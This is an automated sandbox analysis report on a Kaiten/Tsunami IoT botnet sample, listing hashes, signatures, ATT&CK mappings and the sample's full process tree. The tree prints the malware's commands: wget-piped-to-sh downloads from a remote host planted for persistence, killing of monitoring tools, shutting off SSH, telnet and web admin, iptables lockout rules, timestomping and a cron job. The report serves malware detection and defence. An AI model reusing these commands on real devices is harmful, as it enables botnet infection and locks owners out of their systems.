kaiten | ad9162326a496844c139082232e33015bca4fcd4d90c4747f0c356fd95a8891a

Analysis

max time kernel
11s
platform
debian-9_mips
resource
debian9-mipsbe-20231222-en
resource tags

arch:mipsimage:debian9-mipsbe-20231222-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/12/2023, 15:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d47a5da273175a5971638995146e8056
Size

44KB
MD5

d47a5da273175a5971638995146e8056
SHA1

a3dc8373171b19d410e9d63f4924425c082589ea
SHA256

ad9162326a496844c139082232e33015bca4fcd4d90c4747f0c356fd95a8891a
SHA512

86c1f4fceaef41bae7fd9c5ba561fbc316f66d74e4c1da2c92e8601a725e2eed73fa58cbc04e9455b9caabe01ed3ae89608c83e9d36596171f8444064e078110
SSDEEP

768:qRhqau1AvhmBFWWJCRgAatS7YeD6CLPvR8IwKKaU3amTkfzaJgGlzDpyuR1JT13c:QhqauKhALAgV0YSxhvw6CaevVcuRK3

Score

10^/10

kaiten botnet

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/713-1-0x00400000-0x00460a94-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc
File opened for modification	/etc/resolv.conf

Enumerates running processes
Discovers information about currently running processes on the system

Enumerates kernel/hardware configuration 1 TTPs 32 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/333/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/122/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/698/cmdline	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/797/stat	killall
File opened for reading	/proc/330/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/850/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/876/stat	killall
File opened for reading	/proc/794/stat	killall
File opened for reading	/proc/706/cmdline	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/378/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/230/stat	killall
File opened for reading	/proc/328/stat	killall
File opened for reading	/proc/858/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/700/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/121/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/333/stat	killall
File opened for reading	/proc/700/stat	killall
File opened for reading	/proc/670/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/379/stat	killall
File opened for reading	/proc/760/stat	killall
File opened for reading	/proc/706/cmdline	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/122/cmdline	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/698/cmdline	killall
File opened for reading	/proc/762/stat	killall
File opened for reading	/proc/680/stat	killall
File opened for reading	/proc/763/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/762/stat	killall
File opened for reading	/proc/378/stat	killall
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/150/stat	killall
File opened for reading	/proc/794/stat	killall

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/udevd0.pid	d47a5da273175a5971638995146e8056

/tmp/d47a5da273175a5971638995146e8056
/tmp/d47a5da273175a5971638995146e8056
1⤵
- Writes file to tmp directory
PID:713
- /bin/sh
  sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
  2⤵
  PID:714
- /bin/sh
  sh -c "killall -9 strace > /dev/null 2>&1 &"
  2⤵
  PID:717
- /bin/sh
  sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
  2⤵
  PID:720
- /bin/sh
  sh -c "nvram commit > /dev/null 2>&1"
  2⤵
  PID:722
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
  2⤵
  PID:725
- /bin/sh
  sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
  2⤵
  PID:730
- - /bin/chmod
    chmod 755 /etc/persistent/rc.poststart
    3⤵
    PID:732
- /bin/sh
  sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
  2⤵
  PID:734
- /bin/sh
  sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
  2⤵
  PID:735
- /bin/sh
  sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:738
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:744
- /bin/sh
  sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
  2⤵
  PID:747
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:749
- /bin/sh
  sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
  2⤵
  PID:751
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  PID:753
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:756
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:758
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:761
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:764
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:767
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:771
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:776
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:780
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:783
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:786
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:792
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:798
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:802
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:804
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:807
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:809
- /bin/sh
  sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:812
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:815
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:817
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:823
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:826
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:830
- /bin/sh
  sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:832
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:835
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:838
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:840
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:843
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:846
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:849
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:852
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:854
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:856
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:860
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:863
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:865
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:867
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:869
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:873
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:876
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:878
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:880
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:883
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  PID:890
- /bin/sh
  sh -c "chmod 700 /tmp/d47a5da273175a5971638995146e8056 > /dev/null 2>&1 &"
  2⤵
  PID:893
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e8056"
  2⤵
  PID:895
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e8056
    3⤵
    PID:898
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/d47a5da273175a5971638995146e8056\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:899
- /bin/sh
  sh -c "echo \"* * * * * /tmp/d47a5da273175a5971638995146e8056 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:908
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:910
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    PID:911

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:716

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:719

/bin/cat
cat /mnt/Config/S1_01timezone
1⤵
PID:740

/bin/grep
grep -v derpcity
1⤵
PID:741

/bin/grep
grep -v wireless
1⤵
PID:742

/bin/rm
rm -rf /var/run/pty
1⤵
PID:750

/bin/rm
rm -rf /tmp/pty
1⤵
PID:752

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:757

/usr/sbin/service
service httpd stop
1⤵
PID:760
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:765
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:769
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:774
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:810
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:824
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:836
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:847
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:858
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:871
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:884
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:897
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:906
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  PID:912

/usr/sbin/service
service telnetd stop
1⤵
PID:763
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:768
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:773
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:778
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:814
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:828
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:841
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:851
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:862
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:875
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:891
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:900
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:909

/usr/sbin/service
service sshd stop
1⤵
PID:766
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:772
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:777
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:782
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:818
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:833
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:844
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:857
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:870
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:881
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:896
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:907
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  PID:913

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:770

/usr/bin/killall
killall -9 utelnetd
1⤵
PID:775

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:779

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:781

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:785

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:788

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:789

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:791

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:794

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:796

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:800

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:801

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:803

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:806

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:808

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:811

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:813

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:816

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:822

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:825

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:829

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:831

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:834

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:837

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:839

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:842

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:845

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:848

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:850

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:853

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:855

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:859

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:861

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
PID:864

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:866

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:868

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:872

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:874

/sbin/iptables
iptables -A INPUT -p tcp --dport 22 -j DROP
1⤵
PID:877

/sbin/iptables
iptables -A INPUT -p tcp --dport 23 -j DROP
1⤵
PID:879

/sbin/iptables
iptables -A INPUT -p tcp --dport 80 -j DROP
1⤵
PID:882

/sbin/iptables
iptables -A INPUT -p tcp --dport 8080 -j DROP
1⤵
PID:889

/bin/chmod
chmod 700 /tmp/d47a5da273175a5971638995146e8056
1⤵
PID:894

/usr/bin/crontab
crontab -l
1⤵
PID:902

/bin/grep
grep -v /tmp/d47a5da273175a5971638995146e8056
1⤵
PID:903

/bin/grep
grep -v "no cron"
1⤵
PID:904

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:905

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00

Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383

Filesize
67B

MD5
b6fb99b9dfae83d8c9e22fbd1a8af4d3

SHA1
c7db997d9bdf3c834ed84197d364d831b0fd4022

SHA256
a31b0c1174d871ee9b40c4806399517de9c02f6913003053fe25d961bf60ada9

SHA512
7ae9e7e3881bb6ae8d597af40cb0f269f62b2b436050692c54d30f74e414a02e647d9d524e7b6bd3fed984b89345e4993f3efaddb47389d47fb4da5003baa548

Download Submit